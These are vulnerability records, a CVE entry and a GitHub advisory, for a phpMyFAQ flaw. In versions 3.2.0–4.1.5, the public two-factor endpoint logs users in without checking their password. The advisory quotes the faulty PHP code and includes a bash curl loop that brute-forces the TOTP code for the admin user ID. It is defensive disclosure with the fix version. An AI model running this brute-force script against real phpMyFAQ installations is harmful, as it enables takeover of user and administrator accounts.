{
  "affected": [
    {
      "affectedData": [
        {
          "product": "phpMyFAQ",
          "vendor": "thorsten",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.2.0, \u003c 4.1.6"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "phpMyFAQ is an open source FAQ web application. Versions 3.2.0 through 4.1.5 contain an authentication bypass in its public two-factor authentication verification flow: an unauthenticated attacker can submit an account\u2019s numeric user ID and a valid or brute-forced six-digit TOTP code without first authenticating with the account password, allowing takeover of any 2FA-enabled account, including administrator accounts. Version 4.1.6 is patched by binding TOTP verification to a session established after successful password authentication and limiting failed TOTP attempts. No official workaround is documented; affected installations should upgrade to 4.1.6 or later."
    }
  ],
  "id": "CVE-2026-56737",
  "lastModified": "2026-09-24T16:17:07.770",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-09-24T16:17:07.637",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-287"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "4.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "4.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56737"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-24T19:29:27Z",
    "nvd_published_at": "2026-09-24T16:17:07Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe public two-factor verification endpoint `POST /check` logs a user in based **solely** on a valid\n6-digit TOTP token and a chosen `user-id`. It does **not** require \u2014 and is not bound to \u2014 a prior\nsuccessful password authentication. For any account that has 2FA enabled, an unauthenticated attacker\ncan authenticate **without knowing the password**, reducing the account to a single factor (a 6-digit\ncode) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an\nauthentication bypass of the primary credential for all 2FA-protected accounts, including administrators.\n\n### Details\n`src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283`:\n\n```php\n#[Route(path: \u0027/check\u0027, name: \u0027public.auth.check\u0027, methods: [\u0027POST\u0027])]\npublic function check(Request $request): RedirectResponse\n{\n    if ($this-\u003ecurrentUser-\u003eisLoggedIn()) {\n        return new RedirectResponse(url: \u0027./\u0027);\n    }\n\n    $token  = Filter::filterVar($request-\u003erequest-\u003eget(\u0027token\u0027), FILTER_SANITIZE_SPECIAL_CHARS);\n    $userId = (int) Filter::filterVar($request-\u003erequest-\u003eget(\u0027user-id\u0027), FILTER_VALIDATE_INT);\n\n    if ($userId \u003c= 0) { /* ... */ }\n\n    $this-\u003ecurrentUserService-\u003egetUserById($userId);          // loads attacker-chosen user\n\n    if (strlen((string) $token) === 6) {\n        $result = $this-\u003etwoFactor-\u003evalidateToken($token, $userId);\n        if ($result) {\n            $this-\u003ecurrentUserService-\u003etwoFactorSuccess();    // full login, no password ever checked\n            return new RedirectResponse(url: \u0027./\u0027);\n        }\n    }\n    // ...\n}\n```\n\n`twoFactorSuccess()` performs a complete session login (`src/phpMyFAQ/User/CurrentUser.php:239-247`):\n\n```php\npublic function twoFactorSuccess(): bool\n{\n    $this-\u003esetLoggedIn(true);\n    $this-\u003eupdateSessionId(true);\n    $this-\u003esaveToSession();\n    $this-\u003esetSuccess(true);\n    return true;\n}\n```\n\nThere is **no server-side state** (such as a \"password already verified for this user\" flag) tying the\n`/check` step to the password step. Compare the admin flow, which does it correctly via a\n`2fa_pending_user_id` session value set only **after** the password is validated\n(`src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262`) \u2014 proving the frontend\nomission is a regression, not an intended design.\n\n`validateToken()` (`src/phpMyFAQ/User/TwoFactor.php:87-101`) returns `false` when the user has no secret,\nso this is *not* a universal bypass of all accounts \u2014 it specifically defeats the **password factor of\nevery 2FA-enabled account**:\n\n```php\npublic function validateToken(string $token, int $userId): bool\n{\n    if (strlen($token) !== 6 || $userId \u003c= 0) { return false; }\n    $this-\u003ecurrentUser-\u003egetUserById($userId);\n    $secret = $this-\u003ecurrentUser-\u003egetUserData(\u0027secret\u0027);\n    if (!is_string($secret) || $secret === \u0027\u0027) { return false; }   // no 2FA -\u003e false\n    return $this-\u003etwoFactorAuth-\u003everifyCode($secret, $token);       // 6-digit TOTP only\n}\n```\n\nBecause `/check` has no failed-attempt lockout and the per-account login throttle is disabled by default\n(Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to\n*strengthen* the password, becomes the *only* barrier and is independently guessable.\n\n### PoC\nPre-req: a target account (e.g. `admin`) has 2FA enabled (a common hardening choice). The attacker knows\nor enumerates the numeric `user-id` (1 = first/admin account in default installs).\n\n```bash\n# No password required. Submit user-id + a 6-digit TOTP guess to /check.\n# Iterate the token space; the session cookie returned on success is an authenticated session.\nfor code in $(seq -w 0 999999); do\n  curl -ks -c jar.txt -b jar.txt \\\n    -X POST \"https://target/check\" \\\n    --data-urlencode \"user-id=1\" \\\n    --data-urlencode \"token=$(printf \u0027%06d\u0027 10#$code)\" \\\n    -o /dev/null -w \"%{http_code} %{redirect_url}\\n\" \\\n  | grep -q \u0027./\u0027   \u0026\u0026 echo \"[+] logged in with token $code\" \u0026\u0026 break\ndone\n# A successful guess yields a logged-in session in jar.txt -\u003e full account takeover (no password used).\n```\nIf the attacker already controls or has phished the victim\u0027s TOTP device, a single request authenticates\nwith no password at all.\n\n### Impact\nAuthentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password \u2014\nthe primary credential \u2014 is never required for any 2FA-enabled account. Combined with the absent lockout,\nthis enables full account takeover of users and administrators. Impacted: any deployment where users\nenable two-factor authentication.",
  "id": "GHSA-8gpw-xvpf-hvx5",
  "modified": "2026-09-24T19:29:28Z",
  "published": "2026-09-24T19:29:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56737"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ\u0027s two-factor authentication login bypasses the password factor"
}